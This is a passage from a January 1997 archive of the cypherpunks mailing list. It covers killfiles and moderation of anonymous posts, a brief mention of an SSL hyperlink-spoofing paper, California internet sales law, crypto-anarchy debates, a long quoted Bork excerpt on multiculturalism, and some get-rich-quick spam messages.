brainpower which went into how figuring out how "thornes" were traded, how
the killfiles worked, etc., were wasted. This is why I favor learning
killfiles on my _home_ machine...the comment someone made about how
"inefficient" such home-based killfiles are, compared to some hypothetical
list-based killfile, ignores this issue that N different mailing list or
forums will likely have almost N different systems, syntaxes, etc. Not a
timesave in the final analyis to have to learn N killfile approaches!
Should "majordomo" be modified in a powerful way, and gain wide
distribution, e.g, as "killfiledomo," :-}, then this might establish a kind
of standard for such killfile-oriented lists...but I see no likelihood of
this happening soon.

Again, I think these clever schemes are a waste of time.

Except for the one of using the versions of majordomo (which exist, as I
understand things) which only allow posts by subscribed members. This may
nuke anonymous posts, but so what? The _possibility_ of anonymity, which we
mostly all support, does not mean that people have to listen to such posts.
And since the junk from anonymous posts is getting to be a serious
problem....

Another possibility is that anonymous posts get kicked into a file for
later approval or nonapproval by someone. Nothing fancy (that is, no
"tokens" and complicated accounting systems, such as have been proposed),
just a manual "moderation" by someone, or some set of volunteers, etc.
Enough moderation to let the "Red Rackham" sorts of good posts through
while blocking the "Make Money Fast" and barnyard insults from making it.

If a system is complicated, many or even most people won't use it. Whether
PGP or procmail.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 4 Jan 1997 11:31:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ONE MILLION CHILDREN..... (fwd)
Message-ID: <199701041932.NAA32121@einstein>
MIME-Version: 1.0
Content-Type: text



Hi all,

Forwarded message:

> Date: Sat, 04 Jan 1997 10:24:21 -0800
> From: Dale Thorn <dthorn@gte.net>
> 
> C'mon Gary, why would anyone want to bother with all of this crap?
> Chip implants are already in millions of pets.  It's simple, cheap,
> and there's no work for the owner.

And there are several standards which are NOT compatible. Simply putting a
chip in your pet (or child) is not sufficient to guarantee their return.
If the system at use at the pound is not compatible the chip in the pet
won't even respond and the operator has no idea of the actual situation.
This is one of the reasons many states are enacting laws regarding the sale
and transfer of pets. There was a piece on CNN just a couple of weeks ago
about this problem, one state in the central US is in the process of passing
various laws about animal trading. Seems they have a problem with people
stealing pets from peoples homes and collecting 'for free' pets and then
selling them to the medical labs at a hefty profit. Their advise was to
never give pets away, but to always charge at least $10 ea. and if leaving
pets unattended either put them inside a locked bldg. or else have your
neighbors watch them in a fenced yard.

> Thousands of humans are also implanted, i.e., Green Berets, Seals, and
> similar types, women with breast implants, and so on.  There's a move-
> ment on to implant most children, so they're not as vulnerable to kid-
> napping, etc.

Baloney. I know two SEAL's (I share an office at work with one) and I 
can verify they are NOT chiped. I also have several female friends who have
had various breast surgeries and they also are not chipped.


                                                Jim Choate
                                                CyberTects
                                                ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 4 Jan 1997 11:40:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Modified Token Posting Scheme
In-Reply-To: <v02140b00aef428407574@[192.0.2.1]>
Message-ID: <55R1ZD38w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ph@netcom.com (Peter Hendrickson) writes:
>
> The moderator keeps the cash.  The moderator is pulled in several
> directions.  He or she wants to keep the money but also wants people
> to post through him or her.  The moderator also wants to be credible
> or their services will not be required.

Asshole censor and cocksucker John Gilmore is NOT credible. He's a content-
based plug-puller. Also he made enough $$ on Sun's IPO not to give a fuck
about your measly $1/post.

(Compare him with Geffen, always happy to forego a few million bucks in
profits to supress whatever offends his political agenda.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Rita May Marendic" <ritamay@myna.com>
Date: Sat, 4 Jan 1997 12:06:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Please read! High Tech
Message-ID: <Ready Aim Fire!_1/4/97 3:02:02 PM_Ritamay@myna.com>
MIME-Version: 1.0
Content-Type: text/plain



I Sincerely appologize if this is unwanted e-mail.  Please hit REPLY and type REMOVE in the SUBJECT area and SEND to be removed from this list. - Rita Marendic


This is a new biz you might be interested in you really just have to listen to this demo to believe it.

Listen to the whole thing, takes about 3 minutes or so ... at the end you can leave a message and our upline will call you.  In the message tell your name, phone number & the best time/day to call you.  You also need to leave MY name Rita Marendic & MY Distributor number: which is 1853400. This process will work the same way for YOU when you get into this one with me! If you prefer you may hang up and e-mail me with your phone number and time to call you.

It would be worth your time to call the number again and listen to this TWICE! 416-763-9045. I did! I just could not believe what I was hearing the first time! 

AND, this is just a PART of what we have for sale with this one! It gets even better! 

LOTS of people are going to want to get in this! Not much hassle involved ... we just generate leads and have them call & listen to this demo on the phone. 

You think WE can sell this? 

This is Brand New ... Since November ... (last month!) 

With this BizOp we pay a one-time out-of-pocket and then ALL future fees come out of REVENUE. No more out-of-pocket after the getting-in fee. 

THIS is a beauty ... Let me know what you think.

Sincerely,

Rita Marendic




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frank O'Dwyer" <fod@brd.ie>
Date: Sat, 4 Jan 1997 07:54:21 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: Hyperlink Spoofing: an attack on SSL server authentication
In-Reply-To: <199701041504.KAA24308@homeport.org>
Message-ID: <199701041555.PAA00531@brd.ie>
MIME-Version: 1.0
Content-Type: text/plain



> Ed Felten of Princeton presented something similar at the Dimacs
> Network Threats workshop in November 96.

Jim Truitt just posted a link for their paper, which I've linked
off my page. Although it incorporates most of the same 
ground as my stuff, I think I have shown some additional
vulnerabilities and (more importantly) some new fixes.

Cheers,
Frank O'Dwyer.

> Frank O'Dwyer wrote:
> | 
> | I've written up an attack on SSL server authentication at
> |      
> | 	http://www.iol.ie/~fod/sslpaper/sslpaper.htm
> | 
> | As far as I am aware, this attack hasn't been written about before.
> | It does not attack the SSL protocol or low-level cryptography, but works
> | at a higher level in order to persuade users to connect to fake servers, 
> | with the browser nonetheless giving all the usual appearances of a 
> | secure session.
> 
> 
> -- 
> "It is seldom that liberty of any kind is lost all at once."
> 					               -Hume
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 4 Jan 1997 16:01:18 -0800 (PST)
To: iang@cs.berkeley.edu (Ian Goldberg)
Subject: Re: New rules for Internet sales to CA buyers
Message-ID: <3.0.32.19970104152935.0069018c@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:50 AM 1/4/97 -0800, Ian Goldberg wrote:
>Greg Broiles  <gbroiles@netbox.com> wrote:
>>The following subsection of California Business & Professions Code section
>>17538 took effect 1/1/97 and may be of interest to people following state
>>attempts to regulate net sales:
>>
>>[...]
>>   (d) A vendor conducting business through the Internet or any other
>>electronic means of communication shall do  all of the following
>>when the transaction involves a buyer located in California:
>[snip]
>
>So is this saying that a merchant _anywhere in the world_ can be prosecuted
>under California law if someone in California goes to their web page,
>and the web page doesn't satisfy the requirements (which I snipped)?

Yes; but since the law is a criminal statute, the presence of the defendant
is required (absent the defendant's waiver) for a prosecution to occur.
Securing the appearance of an out-of-state or out-of-country defendant
(extradition) is an expensive and complicated process. Violation of the
statute is a misdemeanor, and California is unlikely to try to extradite
someone in order to try them for a misdemeanor charge. (This is an economic
choice, not a legal restriction - I worked on a case when I was in Oregon
where our client, at that time an Oregon resident, charged with a
misdemeanor in California, managed to make the prosecutor angry enough that
the various state & county agencies involved did jump through the hoops to
request extradition.)  

>How is a merchant in, say, Finland, supposed to know that this law (or others
>like it in any city, state, or country in the world) exists?

By hiring an attorney, of course. :) This is a significant problem; in the
past, it's been difficult enough to do business in far-away places that the
only organizations likely to do so were large enough that they were able to
pay people to keep track of applicable local rules. But now it's easy to
advertise or do business worldwide, and it's very difficult to control
which jurisdictions have access to your advertising materials. So it's
likely that many people and organizations will unintentionally violate many
laws in jurisdictions they're not familiar with. Hopefully the various
enforcement agencies will take this into account when enforcing their laws.
I wouldn't be surprised, frankly, if California never prosecutes anyone for
violation of this law - it's hard to imagine that this will turn out to be
an enforcement priority for anyone.

It is, of course, still useful for selective enforcement, similar to laws
against vagrancy or loitering or public drunkenness, where illegal behavior
is usually ignored but vigilant enforcement is employed to punish or drive
away people who are unpopular for an unrelated reason. If the legislators
really wanted this to be enforced, they'd have given citizens a private
right of action against offending web publishers. Then we'd see some
excitement. 

C-Net's NEWS.COM has an article on the new law at
<http://www.news.com/News/Item/0,4,6667,00.html>.
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 4 Jan 1997 13:40:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ONE MILLION CHILDREN.....
In-Reply-To: <32CEA055.26F3@gte.net>
Message-ID: <s5Z1ZD46w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:
> I realize most people are still afraid of the 666 stuff (direct evidence
> from the phone company shows most people will not accept #s with 666
> prefixes), but they'll get over it when they see the benefits, and how

In the 212 area code (Manhattan), 666 is around Columbia University.
I used to be at 212-666-6984 for some 7 years.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 4 Jan 1997 17:10:29 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com
Subject: Re: Timmy's Lost It: [Was Extremism in the defense of liberty is no vice]
Message-ID: <199701050110.RAA10132@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:15 AM 1/3/97 -0800, Timothy C. May wrote:
>As for my "elitism," I've never presented myself in any other fashion. I've
>discussed this issue many times. Get used to it, or ignore it, or just keep
>foaming at the mouth and ranting about how I need to take "yellow pills" to
>avoid being an ally of "Bubba."

I don't fault you for being "elitist."  However, Rich Graves was right: I 
think that  cryptoanarchy, while obviously eliminating taxation and income 
redistribution sounds cozy for economic elites, actually also eliminates the 
basis for those elites to be formed in the first place.  To cite just one 
example that will hit close to home for you, without copyrights or patents (which 
are, obviously, monopolies enforced by governments) it would be far harder 
for companies such as Intel to maintain a near-monopoly on the 
DOS-compatible microprocessor market.

And it has long been observed in libertarian discussion circles that far 
from hating regulation, most large (American; and others) corporations 
actually receive a net benefit from it as compared with smaller companies:  
The cost of complying with regulations doesn't increase linearly with the 
size of company, which means that those same regulations are a way of 
fighting competition if they are played right.  Bring in crypto-anarchy and 
this effect is no longer operating.

Despite all this, I still see nothing inconsistent in even an "elitist" 
pushing for crypto-anarchy:  The current political system has become so 
dramatically inefficient and keeps so many people (through welfare, 
Socialist Insecurity, and government employment) well-fed through income 
redistribution, that I think finally even an "elitist" would be happy to 
chuck the whole system and adopt a crypto-anarchy-equalized system.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lep1@bellsouth.net
Date: Sat, 4 Jan 1997 14:17:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Saw you Online!
Message-ID: <199701042219.RAA04522@mail.mco.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain


Take_a_look_at_my_latest_rip-off!,

 
Does your long distance carrier give you a flat 9.9 cents per 
minute on your interstate long distance 24-hours-per-day 365-
days per year? AND the ability to ELIMINATE your long 
distance phone bills thru an optional referral credits program? 
AND FREE teleconferencing with up to 450 other members 
(where each member just pays their own 10.9 cents per minute
but no teleconference bridge charges)? 

They don't charge you anything to join, there's no hidden 
expenses or term contracts or catches of any kind and who 
couldn't use one less bill per month?!

Just say the words (words=long distance) and I'll send a 
helpful email that will save you a lot of long distance money 
or even make your long distance FREE thru the optional 
referral credits program! 

Sincerely,  
Larry Price





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 4 Jan 1997 18:35:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Judge Bork on Ebonics
Message-ID: <v02140b07aef4c3f44fc9@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


The following is from pages 300-307 of Robert Bork's brilliant
book, "Slouching Towards Gomorrah".  This is a book which should
be read by everyone--and especially by liberals.

Here are Judge Bork's thoughts on multiculturalism, bilingual
education, and "Black English", otherwise known as "Ebonics".

====================================================

The natural centrifugal tendencies of ethnicity were once
counteracted by a public school system that stressed indoctrinating
immigrants to be Americans. The schools were agents of cultural
unification. They taught patriotism and standards derived from
European cultures. Part of our national lore, and glory, is the fact
that youngsters speaking not a word of English were placed in
public schools where only English was used and very shortly were
proficient in the language. That was crucial to the formation of an
American identity Now, however, the educational system has
become the weapon of choice for modern liberals in their project
of dismantling American culture. Our egalitarians view every cul-
ture (other than European) as equal. They resent and resist
attempts to Americanize immigrants, and the crucial battleground
is language.

That is the reason for bilingual education. Initially, some well-
meaning souls saw bilingual education as a way of easing the
immigrant child's entry into American culture. The child would
take courses in English but learn many subjects in his native
tongue, usually Spanish. Within two or three years, the argument
ran, the child would be able to take all of his courses in English. It
is now clear, however, that the program is designed not to facilitate
but to delay entry into American culture, and, to the degree possi-
ble, make certain that assimilation is never complete.

So many languages are spoken by immigrants that it is impos-
sible to provide bilingual education for all. That is why bilingual
education is so often in Spanish, the language most immigrants
speak. But that fact gives away the real reason for the programs.
Vietnamese and Polish children were put into English-speaking
classes and were competent into English long before the Hispanics
in bilingual schools. That leaves the partisans of bilingualism only
the choice of saying that Hispanic children are not as capable as
others or admitting that they, the educators, are driven by hostility
to American culture, and the rewards to be had by teachers' unions
and educational bureaucrats. The rewards would not be there,
however, if ideology had not created the situation.

Often, the bilingualists do not care whether immigrant chil-
dren learn English. The key to success for the students is "self-
esteem. . . . Children do badly in school because of their feelings
of 'shame' at belonging to a minority group rather than the 'domi-
nant group.' For the children to do better, teachers must "con-
sciously challenge the power structure both in their classrooms
and schools and in the society at large." As Richard Bernstein
writes, "Bilingual education ... is an act of rebellion against white,
Anglo cultural domination." And the "animus against assimilation,
is not an implicit part of the emerging educational philosophy. It is
explicit, open, out there, a standard belief. 'The psychological cost
of assimilation has been and continues to be high for many U.S.
citizens,' declares the National Council of Social Studies (NCSS),
in Washington, D.C., in its 1992 'Curriculum Guidelines for Mul-
ticultural Education.' "It too often demands self-denial, self-hatred,
and rejection of family and ethnic ties." This pathetic whine is
not insignificant since the NCSS is the country's largest Organiza-
tion devoted to social studies education.

Public dissatisfaction with the linguistic fracturing of society
has led to calls for an English-only amendment to the Constitu-
tion. The frustration is understandable, but there is no need to
amend the Constitution to achieve an English-speaking nation. All
that need be done is the abolition of bilingual education and the
repeal of the Voting Rights Act's requirement of different language
ballots. Children from other countries will learn English in public
schools as they used to do. Their parents will accept the change
once they begin to see its results. Immigrant parents want their
children to learn English and become Americans. The opposition
to that, manifested in bilingual education, comes from American
elites who form an adversarial culture, alienated from the culture
of the West and wishing to weaken it.

In 1989, the Commissioners Task Force on Minorities in New
York concluded: "African Americans, Asian Americans, Puerto
kicans/Latinos, and Native Americans have all been the victims of
an intellectual and educational oppression that has characterized
the culture and institutions of the United States and the European
American world for centuries." All young people were being
"miseducated" because of a "systematic bias toward European cul-
ture and its derivatives." Bernstein asks, rhetorically, "Could the
multicultural animus against 'European culture and its derivatives'
emerge more clearly than that? Here we have a direct statement
that the Western culture is harmful to nonwhite children ."

Despite the evidence and the frankness of its advocates, most
people, including very astute people, tend to accept the beneficent
view of multiculturalism put forth by its less candid partisans.
Thus, one can find diametrically opposed views of the phe-
nomenon, one put forward, for example, by Richard Bernstein
and another articulated by Conor Cruise O'Brien. Bernstein
writes, "Multiculturalism is a movement of the left, emerging from
the counterculture of the 1960's... It is a code word for a politi
cal ambition, a yearning for more power, combined with a gen-
uine, earnest, zealous, self-righteous craving for social improve-
ment. . . ." He says we are "likely to end up in a simmering sort of
mutual dislike on the level of everyday unpleasantness..."

O'Brien, on the other hand, thinks that multiculturalism and
diversity are "actually both a mask for, and perhaps an unconscious
mode for achieving, a unity which would be broader-based and to
that extent stronger. . . . The real agenda is the enlargement of the
American national elite to include groups of persons who have
traditionally been excluded from the same, mainly for reasons
associated with race and gender. What is in view is the enlarge-
ment and diversification of the composition of the future govern-
ing class of the United States of America."

I am afraid it is clear that Bernstein has it right and O'Brien
has it wrong. Multiculturalism is advertised by its less candid prac-
titioners as opening students to the perspectives and accomplish-
ments of groups that have been largely ignored and undervalued
in conventional curriculums. The goal, it is said, is to enrich the
student's understanding of the world and to teach him respect for
and tolerance of others who are different. It substitutes an ethic of
inclusion for the older ethic of exclusion. This is the movement's
self-portrait, and O'Brien seems to have accepted it at face value.
If there were truth in that advertising, if that were what the goal
really is, no one could legitimately object to what is taking place
in the American educational system. Unfortunately, there appears
to be very little truth in the pretensions of the multiculturalists.

Bernstein took a two-year leave of absence from the New York
Times to gather the facts of the multicultural ideology and its
opponents. His is not an impressionistic book or one based on an
ideological predisposition; it is a report of empirical findings. He
points, for example, to the remarkable change in attitude towards
Christopher Columbus between 1892 and 1992. Though not a
single new fact about Columbus's life and exploits had been
uncovered, the country's mood swung from one of uncritical adu-
lation to one of loathing and condemnation, at least among the
members of the "intellectual" class. The change was accomplished
by the aggressive ideology of multiculturalism. The Columbus
turnaround is merely a specific instance of more general alter-
ations in our moral landscape.

What it signifies, and what becomes increasingly obvious, is
that multiculturalism is a philosophy of antagonism to America
and the West. The hostility of the multiculturalists to this nation
and its achievements can hardly be overstated. Lynne Cheney, the
former head of the National Endowment for the Humanities,
quotes a professor who is pleased that multiculturalism has the
"potential for ideologically disuniting the nation" by stressing
America's faults so that students will not think this country
deserves their special support.

That multiculturalism is essentially an attack on America, the
European-American culture, and the white race, with special
emphasis on white males, may be seen from the curriculum it
favors. A curriculum designed to foster understanding of other
cultures would study those cultures. Multiculturalism does not.
Courses are not offered on the cultures of China or India or Brazil
or Nigeria, nor does the curriculum require the study of languages
without which foreign cultures cannot be fully understood.
Instead the focus is on groups that, allegedly, have been subjected
to oppression by American and Western civilization--homosexu-
als, American Indians, blacks, Hispanics, women, and so on. The
message is not that all cultures are to be respected but that Euro-
pean culture, which created the dominance of white males, is
uniquely evil. Multiculturalism follows the agenda of modern lib-
eralism, and it comes straight from the Sixties counterculture. But
now, in American education, it is the dominant culture.

Bernstein catalogues the basic changes multiculturalism has
made in the nature of public discourse.

"First is the elimination from acceptable discourse of any claim
of superiority or even special status for Europe, or any definition of
the United States as derived primarily from European civilization.

"Second is the attack on the very notion of the individual
and the concomitant paramount status accorded group identifi-
cation.

"Third is the triumph of the politics of difference over the
politics of equality, that great and still-visionary goal of the civil
rights movement. Multiculturalism here is the indictment of one
group and the exculpation of all the others. . .

"This obsession with the themes of cultural domination and
oppression [by whites] justifies one of the most important
departures from the principal and essential goal of the civil
rights movement, equality of opportunity. Multiculturalism
insists on equality of results."

Hence it is that multiculturalists have turned Martin Luther
King, Jr.'s dream into a nightmare. He asked that his children "not
be judged by the color of their skin but by the content of their
character," which, as Bernstein says, is the "essential ideal of liberal-
ism:' But multiculturalists say, "Judge me by the color of my skin
for therein lies my identity and my place in the world."

Multiculturalism requires the quotas or affirmative action that
create group dislike of other groups and self-segregation. There is
no other way to ensure that each valued ethnic group is repre-
sented in the student body and on the faculty. Of late, educators
have begun to speak of diversity instead of multiculturalism, but it
is the same thing. University presidents and faculties, secondary
and primary school principals and teachers, all chant the diversity
mantra. So powerful has this harmful notion become that it not
only dictates who is admitted to a school but sometimes deter-
mines who may leave.

Students of Asian ancestry, for example, have tried to transfer
to public schools whose curriculum was better suited to their
ambitions but been denied the transfer on the grounds that their
departure would lessen diversity. One father complained that his
adopted Korean daughter could contribute no non-western per-
spective to the school she sought to leave because she had been
brought to this country at the age of five months. No matter; she
was of the requisite racial group. When the controversy was
reported in the newspapers, she was allowed to transfer. But the
episode demonstrates that the multiculturalists are sometimes will-
ing to force a person into a cultural identity that person does not
have on the grounds of ancestry alone.

The quality of education must necessarily decline as students
turn from substantive subjects to ideologically driven resentments,
in the case of non-whites, or guilt, in the case of whites. Although
white students are often required to study America's "oppressed"
subcultures and their allegedly superior qualities, it is regarded as
racist to require that non-whites study Western culture. That was
the meaning of the radicals' attack on Stanford's Western Culture
program in which students were required to sample the writings
of men who had helped shape Western culture-Shakespeare,
Dante, Locke, etc. A black student who objected to the program
said its message was "Nigger, go home." That exclusionary inter-
pretation is precisely the opposite of the real message of the pro-
gram, which was "Let us study what we have in common as
inheritors of a tradition." The black student's objection follows
from the perverse teaching of multiculturalism that those who
have been "traditionally excluded" must now reject inclusion.

This has the odd effect of damaging all groups. The insistence
on separate ethnic identities means that persons in each group can
study their own culture, often in highly flattering and historically
inaccurate form. Multiculturalism then means not the study of
others but of oneself. The student who immerses himself in multi-
cultural studies, who lives in a dormitory where admission is
defined by ethnicity, who socializes only with members of his eth-
nic group, does not acquire the knowledge and discipline that he
might have and does not learn how to deal comfortably with
those of other ethnicities. One of the ways in which cultures
improve is by borrowing from other cultures. Europe borrowed
important aspects of mathematics, for example, from the Arab
world. But the essence of multiculturalism is the isolation of
groups so that they do not borrow from one another. The result is
the relative cultural impoverishment of all groups.

In education at all levels, the substance of the curriculum
changes to accommodate multiculturalist pressures. We have
already seen this in feminist and Afrocentric studies, but it is
everywhere. In New York state it is official educational doctrine
that the United States Constitution was heavily influenced by the
political arrangements of the Iroquois Confederacy. The official
promulgation of this idea was not due to any research that dis-
closed its truth. Nor has any other state adopted this nonsensical
idea. New York adopted it because the Iroquois mounted an
intensive lobbying campaign directed at the State Department of
Education. Far from this being a beneficial borrowing from
another culture, it was a detrimental forcing of a false notion by
one culture on another. John Leo notes that the decision "shows
that some school authorities, eager to avoid minority group pres
sure and rage, are now willing to treat the curriculum as a prize in
an ethnic spoils system." That it is ideologcally driven by guilt
and not an attempt to pacify a large bloc of voters is clear from the
fact that there are only a little more than 38,000 Indians in New
York state, most of whom probably have no interest in the myth of
the Iroquois and the Constitution.

This sort of thing is happening across the country as various
ethnic groups and feminists demand that history be rewritten
according to their party lines. This not only debases history but
pits the various groups against one another as they struggle for
space in the textbooks. New York's "interest in history is not as an
intellectual discipline," Schlesinger writes, "but rather as social and
psychological therapy whose primary purpose is to raise the self-
esteem of children from minority groups."

Those who have traditionally been excluded because of race
or gender are not helped by multiculturalists who teach them that
European culture and standards are the cause of their difficulties
and may be jettisoned, that history has no content aside from its
ideological usefulness, that there are different ways of knowing,
that linear thinking is a white male stratagem to oppress those
who are not white or male, that standard English is no better than
a variety of dialects such as "black English." To the extent the tra-
ditionally excluded believe any of this, they are additionally handi-
capped in life, and further excluded. To the extent they are taught
that self-esteem comes before achievement and leads to achieve-
ment, they are lied to and held back.

--end






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 4 Jan 1997 18:35:40 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Experiments on Mailing Lists
Message-ID: <3.0.32.19970104182713.0069a05c@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:10 PM 1/3/97 GMT, Adam Back wrote:
>The only thing I would be happy to see happen in the way of list based
>filtering, is anything to cut out pure commercial, non crypto related
>spam.  Spammers seem to have discovered mailing lists as efficient
>distribution methods in addition to direct mass mailing lately.

Some evildoer has been posting messages to Usenet purporting to be from
"cypherpunks@toad.com"; some of the messages posted have been to newsgroups
frequented by the make-spam-fast crowd, so now we've apparently been
identified as within an especially gullible market segment. The messages
sent to Usenet are labelled "SPAM BAIT" (or something like that) -
apparently the sender of the messages thinks they're doing something useful. 

>Unfortunately this is difficult to filter automatically, and no one
>has the time to do it in close to real time, and time lags hinder
>discussion.

For me, real time access to Cypherpunks is unproductive; I find that I get
the most value out of the list if I read my accumulated messages once every
day or two instead of once an hour.

Also, at a "macro" perspective, too much feedback can be as harmful or
inefficient as too little feedback.

I think that a "3 posts per person per day" rule might produce interesting
results; at least from my perspective, people who send many messages (> 5,
or so) per day usually don't have anything of substance to say and I
frequently skip all of their posts. It would also encourage people to avoid
the "Me, too" or "I think you're an idiot" messages which can just as
easily be sent privately or not at all. Implementing such a rule would be
disproportionately burdensome technically and politically, so I'm not
seriously suggesting that we implement it, but I do think it's useful to
think of "fewer, better" posts as a goal. 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 4 Jan 1997 19:07:59 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: ONE MILLION CHILDREN.....
In-Reply-To: <s5Z1ZD46w165w@bwalk.dm.com>
Message-ID: <32CF160D.626A@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:
> > I realize most people are still afraid of the 666 stuff (direct evidence
> > from the phone company shows most people will not accept #s with 666
> > prefixes), but they'll get over it when they see the benefits, and how

> In the 212 area code (Manhattan), 666 is around Columbia University.
> I used to be at 212-666-6984 for some 7 years.

When I was with Uncle Sam overseas, I bunked with guys from Brooklyn,
Queens, and areas like that.  They didn't seem to be influenced as much
by the Bible-thumpers etc. as people from Ohio, Michigan, Illinois, and
so on.  Of course, that was the 1960's.  Things have changed a lot, and
the U.S. is much more cosmopolitan now.

Nonetheless, it's interesting how much of the FUD from conservative
Christianity (to name an example I'm familiar with) still has a strong
presence in people's minds...  What I could tell about 666 in my own
case, I can hardly believe myself.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 4 Jan 1997 18:41:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: I'm not arguing for State-supported monopolies!
In-Reply-To: <199701050110.RAA10132@mail.pacifier.com>
Message-ID: <v03007802aef4c401973f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:57 PM -0800 1/4/97, jim bell wrote:

>I don't fault you for being "elitist."  However, Rich Graves was right: I
>think that  cryptoanarchy, while obviously eliminating taxation and income
>redistribution sounds cozy for economic elites, actually also eliminates the
>basis for those elites to be formed in the first place.  To cite just one
>example that will hit close to home for you, without copyrights or patents
>(which
>are, obviously, monopolies enforced by governments) it would be far harder
>for companies such as Intel to maintain a near-monopoly on the
>DOS-compatible microprocessor market.

Of course. Please read my various sections in the Cyphernomicon on what
will be the likely effect of liquid information markets on
corporations--both Gibson and Chomsky have similar views, by the way. I
have explicitly cited the role of crypto anarchy in undermining large
corporations (changing the "nature of the firm"), and have said quite
directly that crypto anarchy means as much for the nature of corporations
as for government institutions.

On the issue of my particular financial situation, no firm conclusions can
be drawn. While Intel might not have existed as it did--always a tough
thing to argue subjunctive realities--it is also the case that the very
high tax rates (counting the various taxes, not just Federal) I paid for my
working career could have allowed me to accumulate money in other ways. In
any case, I don't make my arguments based upon "could have beens" like this.

(Vis-a-vis my current expectations and my plans for securing my
wealth...alternative pasts, such as "What if Intel had not had patent
protection?." are meaningless. All that counts is the future from now on
out. And in the time period I expect some semblance of crypto anarchy to
evolve, which is a matter of decades, not months or years, there will be
plenty of time for me to shift assets and move to a non-U.S. locale, if
need be.)

>And it has long been observed in libertarian discussion circles that far
>from hating regulation, most large (American; and others) corporations
>actually receive a net benefit from it as compared with smaller companies:
>The cost of complying with regulations doesn't increase linearly with the
>size of company, which means that those same regulations are a way of
>fighting competition if they are played right.  Bring in crypto-anarchy and
>this effect is no longer operating.

Of course. I've said this very thing several times...perhaps you are
remembering points I myself made.

Again, don't attempt to refute my ideas by casting me as a Defender of
Intel and Protector of State-Supported Monopolies. I'm not such a thing.

>Despite all this, I still see nothing inconsistent in even an "elitist"
>pushing for crypto-anarchy:  The current political system has become so
>dramatically inefficient and keeps so many people (through welfare,
>Socialist Insecurity, and government employment) well-fed through income
>redistribution, that I think finally even an "elitist" would be happy to
>chuck the whole system and adopt a crypto-anarchy-equalized system.

Indeed. And when you stop thinking I'm somehow arguing for State support of
Intel and other corporate entities, my position will be even more obviously
consistent.

(As to my particular wealth from my investments, only part of it is
directly attributable to having worked at Intel. Much of it is due to
_investments_ in various companies over a 20-year period. I have confidence
that had a less constrained market existed, I could have done about as
well, or even better.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
